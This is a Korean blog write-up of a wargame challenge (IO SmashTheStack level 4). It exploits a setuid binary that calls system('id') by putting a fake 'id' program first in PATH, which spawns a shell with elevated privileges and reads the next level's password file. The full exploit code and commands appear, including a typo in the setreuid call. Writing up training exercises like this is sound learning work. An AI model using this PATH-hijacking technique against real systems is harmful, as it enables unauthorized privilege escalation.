본문 바로가기
스터디/wargames

[USE-Wargames] IO SmashTheStack Level4 문제풀이

by 깝태 2011. 8. 12.

level4@io:~$ cd /levels
 
level4@io:/levels$ ./level04
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1005(level5),1004(level4),1029(nosu)

프로그램을 실행하니 id 명령어가 실행되는것 같습니다.
 
 level4@io:/levels$ id
uid=1004(level4) gid=1004(level4) groups=1004(level4),1029(nosu)

level4@io:/levels$ cat level04.c
#include <stdlib.h>

int main() {

        system("id"); // 리눅스 명령어 id 를 실행한다.

        return 0;
}

이 문제는 리눅스 시스템에 대한 지식이 있으신분들이라면 쉽게 풀었을겁니다.
바로 환경변수를 이용해 문제를 풀 수 있습니다.

리눅스에서는 위 처럼 id 이렇게 명령어를 전달해주면 먼저 해당 리눅스에 설치되어있는 쉘에서
쉘의 명령어인지 확인을 한다고 합니다. 그리고 나서 특정폴더안에 명시되어있는, 선언되어있는 폴더 안의
명령어 인지 확인을 하는데 그 특정폴더를 PATH 환경변수라고 합니다.

그러면 먼저 PATH 환경변수를 확인해보겠습니다

level4@io:/levels$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/games
(왼쪽에서 오른쪽으로 읽으며, : 으로 구별한다)

그러면 id 명령어는 /usr/local/bin /usr/bin /bin /usr/games 여기 중 한 곳에 있다는 것이다.
왼쪽에서 오른쪽으로 읽는데 단순히 읽는다는것만이 아니고 프로그램을 실행하는데 우선순위또한 왼쪽에서
오른쪽이다. 예를들어  /home/path2 : /home/path1  가 있고 두 폴더 모두 id 파일을 가지고 있다고 친다면
id 명령어를 실행하면 왼쪽에 있는 /home/path2 폴더안의 id 명령어 파일이 실행될것이다.
이 같은 점을 이용하면 문제를 풀 수 있다.

먼저 우리가 하라는 행동을 하게끔 id 명령어 파일을 만들어야한다.

level4@io:/levels$ cd /tmp
level4@io:/tmp$ mkdir xodnr
level4@io:/tmp$ cd xodnr
level4@io:/tmp/xodnr$ ls
level4@io:/tmp/xodnr$ vi she.c

#include<stdio.h>

int main(void)
{
    setreuid(1005.1005);
    system("/bin/sh");

    return 0;
}

level4@io:/tmp/xodnr$ gcc -o id she.c

level4@io:/tmp/xodnr$ export PATH="/tmp/xodnr:/usr/local/bin:/usr/bin:/bin:/usr/games" 
// 환경변수 추가 명령어

level4@io:/tmp/xodnr$ env // 유저 사용자환경을 확인하는 명령어
TERM=xterm
SHELL=/bin/bash
SSH_CLIENT=59.30.43.27 3803 22
SSH_TTY=/dev/pts/8
USER=level4
MAIL=/var/mail/level4
PATH=/tmp/xodnr:/usr/local/bin:/usr/bin:/bin:/usr/games // 성공적으로 입력됬다.
PWD=/tmp/xodnr
SHLVL=5
HOME=/home/level4
LOGNAME=level4
SSH_CONNECTION=59.30.43.27 3803 192.168.1.32 22
_=/usr/bin/env

자, 그러면 이제 프로그램을 실행하면 선언되어 있는 많은 폴더 중
제일 왼쪽에 있는 /tmp/xodnr 이 디렉토리의 id 명령어 파일을 참조해 실행할것이고
쉘이 뜰것이다.

level4@io:/tmp/xodnr$ /levels/level04

sh-4.1$ cat /home/level5/.pass
RAhK8VOfcVYV

문제를 성공적으로 풀었다.